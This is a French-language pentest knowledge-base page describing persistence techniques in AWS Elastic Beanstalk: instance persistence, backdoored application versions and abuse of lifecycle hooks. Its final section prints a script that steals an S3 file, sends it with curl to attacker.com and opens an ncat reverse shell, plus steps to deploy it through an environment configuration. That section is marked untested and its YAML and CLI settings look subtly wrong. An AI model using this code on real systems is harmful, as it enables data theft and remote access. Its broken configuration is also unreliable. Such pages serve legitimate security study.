# AWS - Elastic Beanstalk Persistence {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk Pour plus d'informations, consultez : {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} ### Persistance dans l'Instance Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**. ### Backdoor dans la Version Un attaquant pourrait introduire une backdoor dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa backdoor et le code attendu. ### Nouvelle version avec backdoor Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec backdoor. ### Abus des Hooks de Cycle de Vie des Ressources Personnalisées > [!NOTE] > TODO: Test Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh # Attacker uploads the script to an S3 bucket aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: AWSEBAutoScalingGroup: Metadata: AWS::ElasticBeanstalk::Ext: TriggerConfiguration: triggers: - name: stealthy-lifecycle-hook events: - "autoscaling:EC2_INSTANCE_LAUNCH" - "autoscaling:EC2_INSTANCE_TERMINATE" target: ref: "AWS::ElasticBeanstalk::Environment" arn: Fn::GetAtt: - "AWS::ElasticBeanstalk::Environment" - "Arn" stealthyLifecycleHook: Type: AWS::AutoScaling::LifecycleHook Properties: AutoScalingGroupName: Ref: AWSEBAutoScalingGroup LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING NotificationTargetARN: Ref: stealthy-lifecycle-hook RoleARN: Fn::GetAtt: - AWSEBAutoScalingGroup - Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` {{#include ../../../banners/hacktricks-training.md}}